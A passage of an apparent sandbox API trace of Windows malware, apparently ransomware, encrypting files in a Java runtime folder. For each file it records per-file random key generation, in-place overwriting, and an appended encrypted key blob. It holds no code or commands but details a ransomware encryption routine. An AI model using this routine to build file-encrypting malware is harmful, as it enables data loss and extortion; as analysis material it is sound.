lpOverlapped=0x0 | out: lpBuffer=0x3f11020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1d588b, lpOverlapped=0x0) returned 1 [0209.948] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1d588b [0209.948] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0209.948] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0209.949] WriteFile (in: hFile=0x21f4, lpBuffer=0x30df298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0209.949] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6910*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0209.949] CloseHandle (hObject=0x21f4) returned 1 [0209.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfbe0 | out: pbBuffer=0x30dfbe0) returned 1 [0209.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6910 | out: pbBuffer=0x30f6910) returned 1 [0209.950] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", dwFileAttributes=0x80) returned 1 [0209.951] ReadFile (in: hFile=0x21f4, lpBuffer=0x30ca018, nNumberOfBytesToRead=0x84e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca018*, lpNumberOfBytesRead=0x2e1f9bc*=0x84e, lpOverlapped=0x0) returned 1 [0209.956] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-2126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0209.956] WriteFile (in: hFile=0x21f4, lpBuffer=0x2f67880*, nNumberOfBytesToWrite=0x84e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f67880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x84e, lpOverlapped=0x0) returned 1 [0209.956] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x84e [0209.956] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0209.956] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfbe0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfbe0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0209.956] WriteFile (in: hFile=0x21f4, lpBuffer=0x30dfbe0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfbe0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0209.957] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6910*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0209.957] CloseHandle (hObject=0x21f4) returned 1 [0209.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0209.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69a0 | out: pbBuffer=0x30f69a0) returned 1 [0209.958] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", dwFileAttributes=0x80) returned 1 [0209.959] ReadFile (in: hFile=0x21f4, lpBuffer=0x2f68670, nNumberOfBytesToRead=0x17d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f68670*, lpNumberOfBytesRead=0x2e1f9bc*=0x17d, lpOverlapped=0x0) returned 1 [0209.966] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-381, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0209.966] WriteFile (in: hFile=0x21f4, lpBuffer=0x2f684e8*, nNumberOfBytesToWrite=0x17d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f684e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17d, lpOverlapped=0x0) returned 1 [0209.966] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17d [0209.966] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0209.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0209.967] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0209.968] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f69a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0209.968] CloseHandle (hObject=0x21f4) returned 1 [0209.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0840 | out: pbBuffer=0x30e0840) returned 1 [0209.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0209.970] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", dwFileAttributes=0x80) returned 1 [0209.970] ReadFile (in: hFile=0x21f4, lpBuffer=0x30e1068, nNumberOfBytesToRead=0x1082, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x1082, lpOverlapped=0x0) returned 1 [0209.971] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-4226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0209.971] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e20f8*, nNumberOfBytesToWrite=0x1082, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e20f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1082, lpOverlapped=0x0) returned 1 [0209.972] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1082 [0209.972] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0209.972] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0209.972] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e0840*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0840*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0209.972] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6930*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0209.972] CloseHandle (hObject=0x21f4) returned 1 [0209.973] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0209.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0209.974] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", dwFileAttributes=0x80) returned 1 [0209.976] ReadFile (in: hFile=0x21f4, lpBuffer=0x6f9020, nNumberOfBytesToRead=0x8eb80, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f9020*, lpNumberOfBytesRead=0x2e1f9bc*=0x8eb80, lpOverlapped=0x0) returned 1 [0210.011] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-584576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.011] WriteFile (in: hFile=0x21f4, lpBuffer=0x3d29020*, nNumberOfBytesToWrite=0x8eb80, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d29020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8eb80, lpOverlapped=0x0) returned 1 [0210.017] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8eb80 [0210.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.017] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.018] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f69c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.018] CloseHandle (hObject=0x21f4) returned 1 [0210.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0d68 | out: pbBuffer=0x30e0d68) returned 1 [0210.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69a0 | out: pbBuffer=0x30f69a0) returned 1 [0210.019] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", dwFileAttributes=0x80) returned 1 [0210.019] ReadFile (in: hFile=0x21f4, lpBuffer=0x30e1068, nNumberOfBytesToRead=0x848c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x848c, lpOverlapped=0x0) returned 1 [0210.028] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-33932, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.028] WriteFile (in: hFile=0x21f4, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x848c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x848c, lpOverlapped=0x0) returned 1 [0210.029] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x848c [0210.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.029] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e0d68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.030] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f69a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.030] CloseHandle (hObject=0x21f4) returned 1 [0210.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df7c0 | out: pbBuffer=0x30df7c0) returned 1 [0210.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0210.032] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", dwFileAttributes=0x80) returned 1 [0210.035] ReadFile (in: hFile=0x21f4, lpBuffer=0x6ff020, nNumberOfBytesToRead=0x88dc5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6ff020*, lpNumberOfBytesRead=0x2e1f9bc*=0x88dc5, lpOverlapped=0x0) returned 1 [0210.058] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-560581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.058] WriteFile (in: hFile=0x21f4, lpBuffer=0x3d2b020*, nNumberOfBytesToWrite=0x88dc5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x88dc5, lpOverlapped=0x0) returned 1 [0210.064] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x88dc5 [0210.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.064] WriteFile (in: hFile=0x21f4, lpBuffer=0x30df7c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df7c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.065] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.065] CloseHandle (hObject=0x21f4) returned 1 [0210.071] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0630 | out: pbBuffer=0x30e0630) returned 1 [0210.071] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0210.071] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", dwFileAttributes=0x80) returned 1 [0210.072] ReadFile (in: hFile=0x21f4, lpBuffer=0x34be010, nNumberOfBytesToRead=0x1c6de, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c6de, lpOverlapped=0x0) returned 1 [0210.088] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-116446, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.088] WriteFile (in: hFile=0x21f4, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x1c6de, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c6de, lpOverlapped=0x0) returned 1 [0210.088] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c6de [0210.089] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.089] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.089] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e0630*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0630*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.089] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.089] CloseHandle (hObject=0x21f4) returned 1 [0210.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df4a8 | out: pbBuffer=0x30df4a8) returned 1 [0210.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0210.091] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", dwFileAttributes=0x80) returned 1 [0210.097] ReadFile (in: hFile=0x21f4, lpBuffer=0x6f7020, nNumberOfBytesToRead=0xe6827, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f7020*, lpNumberOfBytesRead=0x2e1f9bc*=0xe6827, lpOverlapped=0x0) returned 1 [0210.138] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-944167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.138] WriteFile (in: hFile=0x21f4, lpBuffer=0x3d2b020*, nNumberOfBytesToWrite=0xe6827, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe6827, lpOverlapped=0x0) returned 1 [0210.242] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe6827 [0210.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df4a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df4a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.243] WriteFile (in: hFile=0x21f4, lpBuffer=0x30df4a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df4a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.243] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.244] CloseHandle (hObject=0x21f4) returned 1 [0210.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0840 | out: pbBuffer=0x30e0840) returned 1 [0210.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a80 | out: pbBuffer=0x30f6a80) returned 1 [0210.245] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", dwFileAttributes=0x80) returned 1 [0210.265] ReadFile (in: hFile=0x21f4, lpBuffer=0x3d29020, nNumberOfBytesToRead=0x4ce7de, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d29020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ce7de, lpOverlapped=0x0) returned 1 [0210.521] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-5040094, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.521] WriteFile (in: hFile=0x21f4, lpBuffer=0x4202020*, nNumberOfBytesToWrite=0x4ce7de, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x4202020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ce7de, lpOverlapped=0x0) returned 1 [0210.620] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ce7de [0210.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.620] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e0840*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0840*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.620] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6a80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.621] CloseHandle (hObject=0x21f4) returned 1 [0210.622] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfad8 | out: pbBuffer=0x30dfad8) returned 1 [0210.623] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0210.623] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", dwFileAttributes=0x80) returned 1 [0210.623] ReadFile (in: hFile=0x21f4, lpBuffer=0x34be010, nNumberOfBytesToRead=0x14983, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x14983, lpOverlapped=0x0) returned 1 [0210.632] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-84355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.632] WriteFile (in: hFile=0x21f4, lpBuffer=0x34d29a0*, nNumberOfBytesToWrite=0x14983, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34d29a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14983, lpOverlapped=0x0) returned 1 [0210.632] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14983 [0210.633] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.633] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.633] WriteFile (in: hFile=0x21f4, lpBuffer=0x30dfad8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfad8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.633] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.633] CloseHandle (hObject=0x21f4) returned 1 [0210.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0840 | out: pbBuffer=0x30e0840) returned 1 [0210.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ab0 | out: pbBuffer=0x30f6ab0) returned 1 [0210.635] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", dwFileAttributes=0x80) returned 1 [0210.646] ReadFile (in: hFile=0x21f4, lpBuffer=0x3d2e020, nNumberOfBytesToRead=0x2e56fa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x2e56fa, lpOverlapped=0x0) returned 1 [0210.793] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-3036922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.793] 